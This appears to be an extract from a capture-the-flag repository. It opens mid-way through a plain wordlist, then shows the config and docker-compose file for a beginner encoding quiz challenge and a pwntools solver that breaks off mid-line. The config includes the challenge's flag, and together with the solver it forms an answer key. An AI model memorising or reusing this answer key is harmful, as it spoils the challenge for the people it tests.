dom\nrandy\nrange\nrangers\nranges\nranging\nrank\nranked\nranking\nrankings\nranks\nrap\nrape\nrapid\nrapidly\nrapids\nrare\nrarely\nrat\nrate\nrated\nrates\nrather\nrating\nratings\nratio\nrational\nratios\nrats\nraw\nray\nraymond\nrays\nrb\nrc\nrca\nrd\nre\nreach\nreached\nreaches\nreaching\nreaction\nreactions\nread\nreader\nreaders\nreadily\nreading\nreadings\nreads\nready\nreal\nrealistic\nreality\nrealize\nrealized\nreally\nrealm\nrealtor\nrealtors\nrealty\nrear\nreason\nreasonable\nreasonably\nreasoning\nreasons\nrebate\nrebates\nrebecca\nrebel\nrebound\nrec\nrecall\nreceipt\nreceive\nreceived\nreceiver\nreceivers\nreceives\nreceiving\nrecent\nrecently\nreception\nreceptor\nreceptors\nrecipe\nrecipes\nrecipient\nrecipients\nrecognised\nrecognition\nrecognize\nrecognized\nrecommend\nrecommendation\nrecommendations\nrecommended\nrecommends\nreconstruction\nrecord\nrecorded\nrecorder\nrecorders\nrecording\nrecordings\nrecords\nrecover\nrecovered\nrecovery\nrecreation\nrecreational\nrecruiting\nrecruitment\nrecycling\nred\nredeem\nredhead\nreduce\nreduced\nreduces\nreducing\nreduction\nreductions\nreed\nreef\nreel\nref\nrefer\nreference\nreferenced\nreferences\nreferral\nreferrals\nreferred\nreferring\nrefers\nrefinance\nrefine\nrefined\nreflect\nreflected\nreflection\nreflections\nreflects\nreform\nreforms\nrefresh\nrefrigerator\nrefugees\nrefund\nrefurbished\nrefuse\nrefused\nreg\nregard\nregarded\nregarding\nregardless\nregards\nreggae\nregime\nregion\nregional\nregions\nregister\nregistered\nregistrar\nregistration\nregistry\nregression\nregular\nregularly\nregulated\nregulation\nregulations\nregulatory\nrehab\nrehabilitation\nreid\nreject\nrejected\nrel\nrelate\nrelated\nrelates\nrelating\nrelation\nrelations\nrelationship\nrelationships\nrelative\nrelatively\nrelatives\nrelax\nrelaxation\nrelay\nrelease\nreleased\nreleases\nrelevance\nrelevant\nreliability\nreliable\nreliance\nrelief\nreligion\nreligions\nreligious\nreload\nrelocation\nrely\nrelying\nremain\nremainder\nremained\nremaining\nremains\nremark\nremarkable\nremarks\nremedies\nremedy\nremember\nremembered\nremind\nreminder\nremix\nremote\nremovable\nremoval\nremove\nremoved\nremoving\nrenaissance\nrender\nrendered\nrendering\nrenew\nrenewable\nrenewal\nreno\nrent\nrental\nrentals\nrentcom\nrep\nrepair\nrepairs\nrepeat\nrepeated\nreplace\nreplaced\nreplacement\nreplacing\nreplica\nreplication\nreplied\nreplies\nreply\nreport\nreported\nreporter\nreporters\nreporting\nreports\nrepository\nrepresent\nrepresentation\nrepresentations\nrepresentative\nrepresentatives\nrepresented\nrepresenting\nrepresents\nreprint\nreprints\nreproduce\nreproduced\nreproduction\nreproductive\nrepublic\nrepublican\nrepublicans\nreputation\nrequest\nrequested\nrequesting\nrequests\nrequire\nrequired\nrequirement\nrequirements\nrequires\nrequiring\nres\nrescue\nresearch\nresearcher\nresearchers\nreseller\nreservation\nreservations\nreserve\nreserved\nreserves\nreservoir\nreset\nresidence\nresident\nresidential\nresidents\nresist\nresistance\nresistant\nresolution\nresolutions\nresolve\nresolved\nresort\nresorts\nresource\nresources\nrespect\nrespected\nrespective\nrespectively\nrespiratory\nrespond\nresponded\nrespondent\nrespondents\nresponding\nresponse\nresponses\nresponsibilities\nresponsibility\nresponsible\nrest\nrestaurant\nrestaurants\nrestoration\nrestore\nrestored\nrestrict\nrestricted\nrestriction\nrestrictions\nrestructuring\nresult\nresulted\nresulting\nresults\nresume\nresumes\nretail\nretailer\nretailers\nretain\nretained\nretention\nretired\nretirement\nretreat\nretrieval\nretrieve\nretrieved\nretro\nreturn\nreturned\nreturning\nreturns\nreunion\nreuters\nrev\nreveal\nrevealed\nreveals\nrevelation\nrevenge\nrevenue\nrevenues\nreverse\nreview\nreviewed\nreviewer\nreviewing\nreviews\nrevised\nrevision\nrevisions\nrevolution\nrevolutionary\nreward\nrewards\nreynolds\nrf\nrfc\nrg\nrh\nrhode\nrhythm\nri\nribbon\nrica\nrice\nrich\nrichard\nrichards\nrichardson\nrichmond\nrick\nrico\nrid\nride\nrider\nriders\nrides\nridge\nriding\nright\nrights\nrim\nring\nrings\nringtone\nringtones\nrio\nrip\nripe\nrise\nrising\nrisk\nrisks\nriver\nrivers\nriverside\nrj\nrl\nrm\nrn\nrna\nro\nroad\nroads\nrob\nrobert\nroberts\nrobertson\nrobin\nrobinson\nrobot\nrobots\nrobust\nrochester\nrock\nrocket\nrocks\nrocky\nrod\nroger\nrogers\nroland\nrole\nroles\nroll\nrolled\nroller\nrolling\nrolls\nrom\nroman\nromance\nromania\nromantic\nrome\nron\nronald\nroof\nroom\nroommate\nroommates\nrooms\nroot\nroots\nrope\nrosa\nrose\nroses\nross\nroster\nrotary\nrotation\nrouge\nrough\nroughly\nroulette\nround\nrounds\nroute\nrouter\nrouters\nroutes\nroutine\nroutines\nrouting\nrover\nrow\nrows\nroy\nroyal\nroyalty\nrp\nrpg\nrpm\nrr\nrrp\nrs\nrss\nrt\nru\nrubber\nruby\nrug\nrugby\nrugs\nrule\nruled\nrules\nruling\nrun\nrunner\nrunning\nruns\nruntime\nrural\nrush\nrussell\nrussia\nrussian\nruth\nrv\nrw\nrwanda\nrx\nryan\ns\nsa\nsacramento\nsacred\nsacrifice\nsad\nsaddam\nsafari\nsafe\nsafely\nsafer\nsafety\nsage\nsagem\nsaid\nsail\nsailing\nsaint\nsaints\nsake\nsalad\nsalaries\nsalary\nsale\nsalem\nsales\nsally\nsalmon\nsalon\nsalt\nsalvador\nsalvation\nsam\nsamba\nsame\nsamoa\nsample\nsamples\nsampling\nsamsung\nsamuel\nsan\nsand\nsandra\nsandwich\nsandy\nsans\nsanta\nsanyo\nsao\nsap\nsapphire\nsara\nsarah\nsas\nsaskatchewan\nsat\nsatellite\nsatin\nsatisfaction\nsatisfactory\nsatisfied\nsatisfy\nsaturday\nsaturn\nsauce\nsaudi\nsavage\nsavannah\nsave\nsaved\nsaver\nsaves\nsaving\nsavings\nsaw\nsay\nsaying\nsays\nsb\nsbjct\nsc\nscale\nscales\nscan\nscanned\nscanner\nscanners\nscanning\nscary\nscenario\nscenarios\nscene\nscenes\nscenic\nschedule\nscheduled\nschedules\nscheduling\nschema\nscheme\nschemes\nscholar\nscholars\nscholarship\nscholarships\nschool\nschools\nsci\nscience\nsciences\nscientific\nscientist\nscientists\nscoop\nscope\nscore\nscored\nscores\nscoring\nscotia\nscotland\nscott\nscottish\nscout\nscratch\nscreen\nscreening\nscreens\nscreensaver\nscreensavers\nscreenshot\nscreenshots\nscrew\nscript\nscripting\nscripts\nscroll\nscsi\nscuba\nsculpture\nsd\nse\nsea\nseafood\nseal\nsealed\nsean\nsearch\nsearchcom\nsearched\nsearches\nsearching\nseas\nseason\nseasonal\nseasons\nseat\nseating\nseats\nseattle\nsec\nsecond\nsecondary\nseconds\nsecret\nsecretariat\nsecretary\nsecrets\nsection\nsections\nsector\nsectors\nsecure\nsecured\nsecurely\nsecurities\nsecurity\nsee\nseed\nseeds\nseeing\nseek\nseeker\nseekers\nseeking\nseeks\nseem\nseemed\nseems\nseen\nsees\nsega\nsegment\nsegments\nselect\nselected\nselecting\nselection\nselections\nselective\nself\nsell\nseller\nsellers\nselling\nsells\nsemester\nsemi\nsemiconductor\nseminar\nseminars\nsen\nsenate\nsenator\nsenators\nsend\nsender\nsending\nsends\nsenegal\nsenior\nseniors\nsense\nsensitive\nsensitivity\nsensor\nsensors\nsent\nsentence\nsentences\nseo\nsep\nseparate\nseparated\nseparately\nseparation\nsept\nseptember\nseq\nsequence\nsequences\nser\nserbia\nserial\nseries\nserious\nseriously\nserum\nserve\nserved\nserver\nservers\nserves\nservice\nservices\nserving\nsession\nsessions\nset\nsets\nsetting\nsettings\nsettle\nsettled\nsettlement\nsetup\nseven\nseventh\nseveral\nsevere\nsewing\nsex\nsexcam\nsexo\nsexual\nsexuality\nsexually\nsexy\nsf\nsg\nsh\nshade\nshades\nshadow\nshadows\nshaft\nshake\nshakespeare\nshakira\nshall\nshame\nshanghai\nshannon\nshape\nshaped\nshapes\nshare\nshared\nshareholders\nshares\nshareware\nsharing\nshark\nsharon\nsharp\nshaved\nshaw\nshe\nshed\nsheep\nsheer\nsheet\nsheets\nsheffield\nshelf\nshell\nshelter\nshemale\nshemales\nshepherd\nsheriff\nsherman\nshield\nshift\nshine\nship\nshipment\nshipments\nshipped\nshipping\nships\nshirt\nshirts\nshit\nshock\nshoe\nshoes\nshoot\nshooting\nshop\nshopper\nshoppercom\nshoppers\nshopping\nshoppingcom\nshops\nshopzilla\nshore\nshort\nshortcuts\nshorter\nshortly\nshorts\nshot\nshots\nshould\nshoulder\nshow\nshowcase\nshowed\nshower\nshowers\nshowing\nshown\nshows\nshowtimes\nshut\nshuttle\nsi\nsic\nsick\nside\nsides\nsie\nsiemens\nsierra\nsig\nsight\nsigma\nsign\nsignal\nsignals\nsignature\nsignatures\nsigned\nsignificance\nsignificant\nsignificantly\nsigning\nsigns\nsignup\nsilence\nsilent\nsilicon\nsilk\nsilly\nsilver\nsim\nsimilar\nsimilarly\nsimon\nsimple\nsimplified\nsimply\nsimpson\nsimpsons\nsims\nsimulation\nsimulations\nsimultaneously\nsin\nsince\nsing\nsingapore\nsinger\nsingh\nsinging\nsingle\nsingles\nsink\nsip\nsir\nsister\nsisters\nsit\nsite\nsitemap\nsites\nsitting\nsituated\nsituation\nsituations\nsix\nsixth\nsize\nsized\nsizes\nsk\nskating\nski\nskiing\nskill\nskilled\nskills\nskin\nskins\nskip\nskirt\nskirts\nsku\nsky\nskype\nsl\nslave\nsleep\nsleeping\nsleeps\nsleeve\nslide\nslides\nslideshow\nslight\nslightly\nslim\nslip\nslope\nslot\nslots\nslovak\nslovakia\nslovenia\nslow\nslowly\nslut\nsluts\nsm\nsmall\nsmaller\nsmart\nsmell\nsmile\nsmilies\nsmith\nsmithsonian\nsmoke\nsmoking\nsmooth\nsms\nsmtp\nsn\nsnake\nsnap\nsnapshot\nsnow\nsnowboard\nso\nsoa\nsoap\nsoc\nsoccer\nsocial\nsocieties\nsociety\nsociology\nsocket\nsocks\nsodium\nsofa\nsoft\nsoftball\nsoftware\nsoil\nsol\nsolar\nsolaris\nsold\nsoldier\nsoldiers\nsole\nsolely\nsolid\nsolo\nsolomon\nsolution\nsolutions\nsolve\nsolved\nsolving\nsoma\nsomalia\nsome\nsomebody\nsomehow\nsomeone\nsomerset\nsomething\nsometimes\nsomewhat\nsomewhere\nson\nsong\nsongs\nsonic\nsons\nsony\nsoon\nsoonest\nsophisticated\nsorry\nsort\nsorted\nsorts\nsought\nsoul\nsouls\nsound\nsounds\nsoundtrack\nsoup\nsource\nsources\nsouth\nsouthampton\nsoutheast\nsouthern\nsouthwest\nsoviet\nsox\nsp\nspa\nspace\nspaces\nspain\nspam\nspan\nspanish\nspank\nspanking\nsparc\nspare\nspas\nspatial\nspeak\nspeaker\nspeakers\nspeaking\nspeaks\nspears\nspec\nspecial\nspecialist\nspecialists\nspecialized\nspecializing\nspecially\nspecials\nspecialties\nspecialty\nspecies\nspecific\nspecifically\nspecification\nspecifications\nspecifics\nspecified\nspecifies\nspecify\nspecs\nspectacular\nspectrum\nspeech\nspeeches\nspeed\nspeeds\nspell\nspelling\nspencer\nspend\nspending\nspent\nsperm\nsphere\nspice\nspider\nspies\nspin\nspine\nspirit\nspirits\nspiritual\nspirituality\nsplit\nspoke\nspoken\nspokesman\nsponsor\nsponsored\nsponsors\nsponsorship\nsport\nsporting\nsports\nspot\nspotlight\nspots\nspouse\nspray\nspread\nspreading\nspring\nspringer\nspringfield\nsprings\nsprint\nspy\nspyware\nsq\nsql\nsquad\nsquare\nsquirt\nsquirting\nsr\nsrc\nsri\nss\nssl\nst\nstability\nstable\nstack\nstadium\nstaff\nstaffing\nstage\nstages\nstainless\nstakeholders\nstamp\nstamps\nstan\nstand\nstandard\nstandards\nstanding\nstandings\nstands\nstanford\nstanley\nstar\nstarring\nstars\nstarsmerchant\nstart\nstarted\nstarter\nstarting\nstarts\nstartup\nstat\nstate\nstated\nstatement\nstatements\nstates\nstatewide\nstatic\nstating\nstation\nstationery\nstations\nstatistical\nstatistics\nstats\nstatus\nstatute\nstatutes\nstatutory\nstay\nstayed\nstaying\nstays\nstd\nste\nsteady\nsteal\nsteam\nsteel\nsteering\nstem\nstep\nstephanie\nstephen\nsteps\nstereo\nsterling\nsteve\nsteven\nstevens\nstewart\nstick\nsticker\nstickers\nsticks\nsticky\nstill\nstock\nstockholm\nstockings\nstocks\nstolen\nstomach\nstone\nstones\nstood\nstop\nstopped\nstopping\nstops\nstorage\nstore\nstored\nstores\nstories\nstorm\nstory\nstr\nstraight\nstrain\nstrand\nstrange\nstranger\nstrap\nstrategic\nstrategies\nstrategy\nstream\nstreaming\nstreams\nstreet\nstreets\nstrength\nstrengthen\nstrengthening\nstrengths\nstress\nstretch\nstrict\nstrictly\nstrike\nstrikes\nstriking\nstring\nstrings\nstrip\nstripes\nstrips\nstroke\nstrong\nstronger\nstrongly\nstruck\nstruct\nstructural\nstructure\nstructured\nstructures\nstruggle\nstuart\nstuck\nstud\nstudent\nstudents\nstudied\nstudies\nstudio\nstudios\nstudy\nstudying\nstuff\nstuffed\nstunning\nstupid\nstyle\nstyles\nstylish\nstylus\nsu\nsub\nsubaru\nsubcommittee\nsubdivision\nsubject\nsubjects\nsublime\nsublimedirectory\nsubmission\nsubmissions\nsubmit\nsubmitted\nsubmitting\nsubscribe\nsubscriber\nsubscribers\nsubscription\nsubscriptions\nsubsection\nsubsequent\nsubsequently\nsubsidiaries\nsubsidiary\nsubstance\nsubstances\nsubstantial\nsubstantially\nsubstitute\nsubtle\nsuburban\nsucceed\nsuccess\nsuccessful\nsuccessfully\nsuch\nsuck\nsucking\nsucks\nsudan\nsudden\nsuddenly\nsue\nsuffer\nsuffered\nsuffering\nsufficient\nsufficiently\nsugar\nsuggest\nsuggested\nsuggesting\nsuggestion\nsuggestions\nsuggests\nsuicide\nsuit\nsuitable\nsuite\nsuited\nsuites\nsuits\nsullivan\nsum\nsummaries\nsummary\nsummer\nsummit\nsun\nsunday\nsunglasses\nsunny\nsunrise\nsunset\nsunshine\nsuper\nsuperb\nsuperintendent\nsuperior\nsupervision\nsupervisor\nsupervisors\nsupplement\nsupplemental\nsupplements\nsupplied\nsupplier\nsuppliers\nsupplies\nsupply\nsupport\nsupported\nsupporters\nsupporting\nsupports\nsuppose\nsupposed\nsupreme\nsur\nsure\nsurely\nsurf\nsurface\nsurfaces\nsurfing\nsurge\nsurgeon\nsurgeons\nsurgery\nsurgical\nsurname\nsurplus\nsurprise\nsurprised\nsurprising\nsurrey\nsurround\nsurrounded\nsurrounding\nsurveillance\nsurvey\nsurveys\nsurvival\nsurvive\nsurvivor\nsurvivors\nsusan\nsuse\nsuspect\nsuspected\nsuspended\nsuspension\nsussex\nsustainability\nsustainable\nsustained\nsuzuki\nsv\nsw\nswap\nsweden\nswedish\nsweet\nswift\nswim\nswimming\nswing\nswingers\nswiss\nswitch\nswitched\nswitches\nswitching\nswitzerland\nsword\nsydney\nsymantec\nsymbol\nsymbols\nsympathy\nsymphony\nsymposium\nsymptoms\nsync\nsyndicate\nsyndication\nsyndrome\nsynopsis\nsyntax\nsynthesis\nsynthetic\nsyracuse\nsyria\nsys\nsystem\nsystematic\nsystems\nt\nta\ntab\ntable\ntables\ntablet\ntablets\ntabs\ntackle\ntactics\ntag\ntagged\ntags\ntahoe\ntail\ntaiwan\ntake\ntaken\ntakes\ntaking\ntale\ntalent\ntalented\ntales\ntalk\ntalked\ntalking\ntalks\ntall\ntamil\ntampa\ntan\ntank\ntanks\ntanzania\ntap\ntape\ntapes\ntar\ntarget\ntargeted\ntargets\ntariff\ntask\ntasks\ntaste\ntattoo\ntaught\ntax\ntaxation\ntaxes\ntaxi\ntaylor\ntb\ntba\ntc\ntcp\ntd\nte\ntea\nteach\nteacher\nteachers\nteaches\nteaching\nteam\nteams\ntear\ntears\ntech\ntechnical\ntechnician\ntechnique\ntechniques\ntechno\ntechnological\ntechnologies\ntechnology\ntechrepublic\nted\nteddy\ntee\nteen\nteenage\nteens\nteeth\ntel\ntelecharger\ntelecom\ntelecommunications\ntelephone\ntelephony\ntelescope\ntelevision\ntelevisions\ntell\ntelling\ntells\ntemp\ntemperature\ntemperatures\ntemplate\ntemplates\ntemple\ntemporal\ntemporarily\ntemporary\nten\ntenant\ntend\ntender\ntennessee\ntennis\ntension\ntent\nterm\nterminal\nterminals\ntermination\nterminology\nterms\nterrace\nterrain\nterrible\nterritories\nterritory\nterror\nterrorism\nterrorist\nterrorists\nterry\ntest\ntestament\ntested\ntestimonials\ntestimony\ntesting\ntests\ntex\ntexas\ntext\ntextbook\ntextbooks\ntextile\ntextiles\ntexts\ntexture\ntf\ntft\ntgp\nth\nthai\nthailand\nthan\nthank\nthanks\nthanksgiving\nthat\nthats\nthe\ntheater\ntheaters\ntheatre\nthee\ntheft\nthehun\ntheir\nthem\ntheme\nthemes\nthemselves\nthen\ntheology\ntheorem\ntheoretical\ntheories\ntheory\ntherapeutic\ntherapist\ntherapy\nthere\nthereafter\nthereby\ntherefore\nthereof\nthermal\nthesaurus\nthese\nthesis\nthey\nthick\nthickness\nthin\nthing\nthings\nthink\nthinking\nthinkpad\nthinks\nthird\nthirty\nthis\nthomas\nthompson\nthomson\nthong\nthongs\nthorough\nthoroughly\nthose\nthou\nthough\nthought\nthoughts\nthousand\nthousands\nthread\nthreaded\nthreads\nthreat\nthreatened\nthreatening\nthreats\nthree\nthreesome\nthreshold\nthriller\nthroat\nthrough\nthroughout\nthrow\nthrowing\nthrown\nthrows\nthru\nthu\nthumb\nthumbnail\nthumbnails\nthumbs\nthumbzilla\nthunder\nthursday\nthus\nthy\nti\nticket\ntickets\ntide\ntie\ntied\ntier\nties\ntiffany\ntiger\ntigers\ntight\ntil\ntile\ntiles\ntill\ntim\ntimber\ntime\ntimeline\ntimely\ntimer\ntimes\ntiming\ntimothy\ntin\ntiny\ntion\ntions\ntip\ntips\ntire\ntired\ntires\ntissue\ntit\ntitanium\ntitans\ntitle\ntitled\ntitles\ntits\ntitten\ntm\ntmp\ntn\nto\ntobacco\ntobago\ntoday\ntodd\ntoddler\ntoe\ntogether\ntoilet\ntoken\ntokyo\ntold\ntolerance\ntoll\ntom\ntomato\ntomatoes\ntommy\ntomorrow\nton\ntone\ntoner\ntones\ntongue\ntonight\ntons\ntony\ntoo\ntook\ntool\ntoolbar\ntoolbox\ntoolkit\ntools\ntooth\ntop\ntopic\ntopics\ntopless\ntops\ntoronto\ntorture\ntoshiba\ntotal\ntotally\ntotals\ntouch\ntouched\ntough\ntour\ntouring\ntourism\ntourist\ntournament\ntournaments\ntours\ntoward\ntowards\ntower\ntowers\ntown\ntowns\ntownship\ntoxic\ntoy\ntoyota\ntoys\ntp\ntr\ntrace\ntrack\ntrackback\ntrackbacks\ntracked\ntracker\ntracking\ntracks\ntract\ntractor\ntracy\ntrade\ntrademark\ntrademarks\ntrader\ntrades\ntrading\ntradition\ntraditional\ntraditions\ntraffic\ntragedy\ntrail\ntrailer\ntrailers\ntrails\ntrain\ntrained\ntrainer\ntrainers\ntraining\ntrains\ntramadol\ntrance\ntranny\ntrans\ntransaction\ntransactions\ntranscript\ntranscription\ntranscripts\ntransexual\ntransexuales\ntransfer\ntransferred\ntransfers\ntransform\ntransformation\ntransit\ntransition\ntranslate\ntranslated\ntranslation\ntranslations\ntranslator\ntransmission\ntransmit\ntransmitted\ntransparency\ntransparent\ntransport\ntransportation\ntranssexual\ntrap\ntrash\ntrauma\ntravel\ntraveler\ntravelers\ntraveling\ntraveller\ntravelling\ntravels\ntravesti\ntravis\ntray\ntreasure\ntreasurer\ntreasures\ntreasury\ntreat\ntreated\ntreating\ntreatment\ntreatments\ntreaty\ntree\ntrees\ntrek\ntrembl\ntremendous\ntrend\ntrends\ntreo\ntri\ntrial\ntrials\ntriangle\ntribal\ntribe\ntribes\ntribunal\ntribune\ntribute\ntrick\ntricks\ntried\ntries\ntrigger\ntrim\ntrinidad\ntrinity\ntrio\ntrip\ntripadvisor\ntriple\ntrips\ntriumph\ntrivia\ntroops\ntropical\ntrouble\ntroubleshooting\ntrout\ntroy\ntruck\ntrucks\ntrue\ntruly\ntrunk\ntrust\ntrusted\ntrustee\ntrustees\ntrusts\ntruth\ntry\ntrying\nts\ntsunami\ntt\ntu\ntub\ntube\ntubes\ntucson\ntue\ntuesday\ntuition\ntulsa\ntumor\ntune\ntuner\ntunes\ntuning\ntunisia\ntunnel\nturbo\nturkey\nturkish\nturn\nturned\nturner\nturning\nturns\nturtle\ntutorial\ntutorials\ntv\ntvcom\ntvs\ntwelve\ntwenty\ntwice\ntwiki\ntwin\ntwinks\ntwins\ntwist\ntwisted\ntwo\ntx\nty\ntyler\ntype\ntypes\ntypical\ntypically\ntyping\nu\nuc\nuganda\nugly\nuh\nui\nuk\nukraine\nul\nultimate\nultimately\nultra\nultram\num\nun\nuna\nunable\nunauthorized\nunavailable\nuncertainty\nuncle\nund\nundefined\nunder\nundergraduate\nunderground\nunderlying\nunderstand\nunderstanding\nunderstood\nundertake\nundertaken\nunderwear\nundo\nune\nunemployment\nunexpected\nunfortunately\nuni\nunified\nuniform\nunion\nunions\nuniprotkb\nunique\nunit\nunited\nunits\nunity\nuniv\nuniversal\nuniverse\nuniversities\nuniversity\nunix\nunknown\nunless\nunlike\nunlikely\nunlimited\nunlock\nunnecessary\nunsigned\nunsubscribe\nuntil\nuntitled\nunto\nunusual\nunwrap\nup\nupc\nupcoming\nupdate\nupdated\nupdates\nupdating\nupgrade\nupgrades\nupgrading\nupload\nuploaded\nupon\nupper\nups\nupset\nupskirt\nupskirts\nur\nurban\nurge\nurgent\nuri\nurl\nurls\nuruguay\nurw\nus\nusa\nusage\nusb\nusc\nusd\nusda\nuse\nused\nuseful\nuser\nusername\nusers\nuses\nusgs\nusing\nusps\nusr\nusual\nusually\nut\nutah\nutc\nutilities\nutility\nutilization\nutilize\nutils\nuv\nuw\nuzbekistan\nv\nva\nvacancies\nvacation\nvacations\nvaccine\nvacuum\nvagina\nval\nvalentine\nvalid\nvalidation\nvalidity\nvalium\nvalley\nvaluable\nvaluation\nvalue\nvalued\nvalues\nvalve\nvalves\nvampire\nvan\nvancouver\nvanilla\nvar\nvariable\nvariables\nvariance\nvariation\nvariations\nvaried\nvaries\nvariety\nvarious\nvary\nvarying\nvast\nvat\nvatican\nvault\nvb\nvbulletin\nvc\nvcr\nve\nvector\nvegas\nvegetable\nvegetables\nvegetarian\nvegetation\nvehicle\nvehicles\nvelocity\nvelvet\nvendor\nvendors\nvenezuela\nvenice\nventure\nventures\nvenue\nvenues\nver\nverbal\nverde\nverification\nverified\nverify\nverizon\nvermont\nvernon\nverse\nversion\nversions\nversus\nvertex\nvertical\nvery\nverzeichnis\nvessel\nvessels\nveteran\nveterans\nveterinary\nvg\nvhs\nvi\nvia\nviagra\nvibrator\nvibrators\nvic\nvice\nvictim\nvictims\nvictor\nvictoria\nvictorian\nvictory\nvid\nvideo\nvideos\nvids\nvienna\nvietnam\nvietnamese\nview\nviewed\nviewer\nviewers\nviewing\nviewpicture\nviews\nvii\nviii\nviking\nvilla\nvillage\nvillages\nvillas\nvincent\nvintage\nvinyl\nviolation\nviolations\nviolence\nviolent\nviolin\nvip\nviral\nvirgin\nvirginia\nvirtual\nvirtually\nvirtue\nvirus\nviruses\nvisa\nvisibility\nvisible\nvision\nvisit\nvisited\nvisiting\nvisitor\nvisitors\nvisits\nvista\nvisual\nvital\nvitamin\nvitamins\nvocabulary\nvocal\nvocals\nvocational\nvoice\nvoices\nvoid\nvoip\nvol\nvolkswagen\nvolleyball\nvolt\nvoltage\nvolume\nvolumes\nvoluntary\nvolunteer\nvolunteers\nvolvo\nvon\nvote\nvoted\nvoters\nvotes\nvoting\nvoyeur\nvoyeurweb\nvoyuer\nvp\nvpn\nvs\nvsnet\nvt\nvulnerability\nvulnerable\nw\nwa\nwage\nwages\nwagner\nwagon\nwait\nwaiting\nwaiver\nwake\nwal\nwales\nwalk\nwalked\nwalker\nwalking\nwalks\nwall\nwallace\nwallet\nwallpaper\nwallpapers\nwalls\nwalnut\nwalt\nwalter\nwan\nwang\nwanna\nwant\nwanted\nwanting\nwants\nwar\nwarcraft\nward\nware\nwarehouse\nwarm\nwarming\nwarned\nwarner\nwarning\nwarnings\nwarrant\nwarranties\nwarranty\nwarren\nwarrior\nwarriors\nwars\nwas\nwash\nwasher\nwashing\nwashington\nwaste\nwatch\nwatched\nwatches\nwatching\nwater\nwaterproof\nwaters\nwatershed\nwatson\nwatt\nwatts\nwav\nwave\nwaves\nwax\nway\nwayne\nways\nwb\nwc\nwe\nweak\nwealth\nweapon\nweapons\nwear\nwearing\nweather\nweb\nwebcam\nwebcams\nwebcast\nweblog\nweblogs\nwebmaster\nwebmasters\nwebpage\nwebshots\nwebsite\nwebsites\nwebster\nwed\nwedding\nweddings\nwednesday\nweed\nweek\nweekend\nweekends\nweekly\nweeks\nweight\nweighted\nweights\nweird\nwelcome\nwelding\nwelfare\nwell\nwellington\nwellness\nwells\nwelsh\nwendy\nwent\nwere\nwesley\nwest\nwestern\nwestminster\nwet\nwhale\nwhat\nwhatever\nwhats\nwheat\nwheel\nwheels\nwhen\nwhenever\nwhere\nwhereas\nwherever\nwhether\nwhich\nwhile\nwhilst\nwhite\nwho\nwhole\nwholesale\nwhom\nwhore\nwhose\nwhy\nwi\nwichita\nwicked\nwide\nwidely\nwider\nwidescreen\nwidespread\nwidth\nwife\nwifi\nwiki\nwikipedia\nwild\nwilderness\nwildlife\nwiley\nwill\nwilliam\nwilliams\nwilling\nwillow\nwilson\nwin\nwind\nwindow\nwindows\nwinds\nwindsor\nwine\nwines\nwing\nwings\nwinner\nwinners\nwinning\nwins\nwinston\nwinter\nwire\nwired\nwireless\nwires\nwiring\nwisconsin\nwisdom\nwise\nwish\nwishes\nwishlist\nwit\nwitch\nwith\nwithdrawal\nwithin\nwithout\nwitness\nwitnesses\nwives\nwizard\nwm\nwma\nwn\nwolf\nwoman\nwomen\nwomens\nwon\nwonder\nwonderful\nwondering\nwood\nwooden\nwoods\nwool\nworcester\nword\nwordpress\nwords\nwork\nworked\nworker\nworkers\nworkflow\nworkforce\nworking\nworkout\nworkplace\nworks\nworkshop\nworkshops\nworkstation\nworld\nworldcat\nworlds\nworldsex\nworldwide\nworm\nworn\nworried\nworry\nworse\nworship\nworst\nworth\nworthy\nwould\nwound\nwow\nwp\nwr\nwrap\nwrapped\nwrapping\nwrestling\nwright\nwrist\nwrite\nwriter\nwriters\nwrites\nwriting\nwritings\nwritten\nwrong\nwrote\nws\nwt\nwto\nwu\nwv\nww\nwww\nwx\nwy\nwyoming\nx\nxanax\nxbox\nxerox\nxhtml\nxi\nxl\nxml\nxnxx\nxp\nxx\nxxx\ny\nya\nyacht\nyahoo\nyale\nyamaha\nyang\nyard\nyards\nyarn\nye\nyea\nyeah\nyear\nyearly\nyears\nyeast\nyellow\nyemen\nyen\nyes\nyesterday\nyet\nyield\nyields\nyn\nyo\nyoga\nyork\nyorkshire\nyou\nyoung\nyounger\nyour\nyours\nyourself\nyouth\nyr\nyrs\nyu\nyugoslavia\nyukon\nz\nza\nzambia\nzdnet\nzealand\nzen\nzero\nzimbabwe\nzinc\nzip\nzoloft\nzone\nzones\nzoning\nzoo\nzoom\nzoophilia\nzope\nzshops\nzu\nzum\nzus\n"
  },
  {
    "path": "misc/general_skills_quiz/challenge.yml",
    "content": "version: \"0.1\"\nid: general-skills-quiz\nname: General Skills Quiz\ncategory: misc\ndescription: |\n  QUIZ TIME! Just answer the questions. Pretty easy right?\n\n  Author: Crem\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - beginner\n\nflags:\n  - DUCTF{you_aced_the_quiz!_have_a_gold_star_champion}\n"
  },
  {
    "path": "misc/general_skills_quiz/docker-compose.yml",
    "content": "version: \"2\"\nservices:\n  general_skills_quiz:\n    build: .\n    privileged: true\n    ports:\n      - \"1337:1337\""
  },
  {
    "path": "misc/general_skills_quiz/solve.py",
    "content": "# /usr/bin/python3\nimport re, urllib.parse, base64, codecs\nfrom pwn import *\n\nHOST = \"127.0.0.1\"\nPORT = 1337\n\ndef extract_q():\n    print(r.recvuntil(\":\").decode('utf-8'))\n    q = str(r.recvline().strip())\n    q_extracted = \"\".join(re.findall(\"'([^']*)'\", q))\n    return q_extracted\n\ndef answer_send(ans, n):\n    answer = ans\n    print(\"[+] Answer \" + str(n) +\": \" + answer)\n    r.sendline(answer)\n\n# Question 1 - Basic Maths\nr = remote(HOST, PORT)\nprint(r.recvline().decode('utf-8'))\n# Sending \\n to progress\nr.sendline()\nprint(r.recvline().decode('utf-8'))\nprint(r.recvline().decode('utf-8'))\nanswer_send(\"2\", 1)\n\n# Question 2 - Hex -> Base 10\nanswer_send(str(int(extract_q(), 0)), 2)\n\n# Question 3 - Hex -> ASCII\nanswer_send(bytes.fromhex(extract_q()).decode('utf-8'), 3)\n\n# Question 4 - URL Encoded -> ASCII Symbols\nanswer_send(urllib.parse.unquote(extract_q()), 4)\n\n# Question 5 - Base64 -> ASCII\nanswer_send(base64.b64decode(extract_q()).decode('utf-8'), 5)\n\n# Question 6 - ASCII -> Base64\nanswer_send(base64.b64encode(str.encode(extract_q())).decode('utf-8'), 6)\n\n# Question 7 - ROT13 -> ASCII\nanswer_send(codecs.encode(extract_q(), 'rot_13'), 7)\n\n# Question 8 - ASCII -> ROT13\nanswer_send(codecs.decode(extract_q(), 'rot_13'), 8)\n\n# Question 9 - Binary -> Base 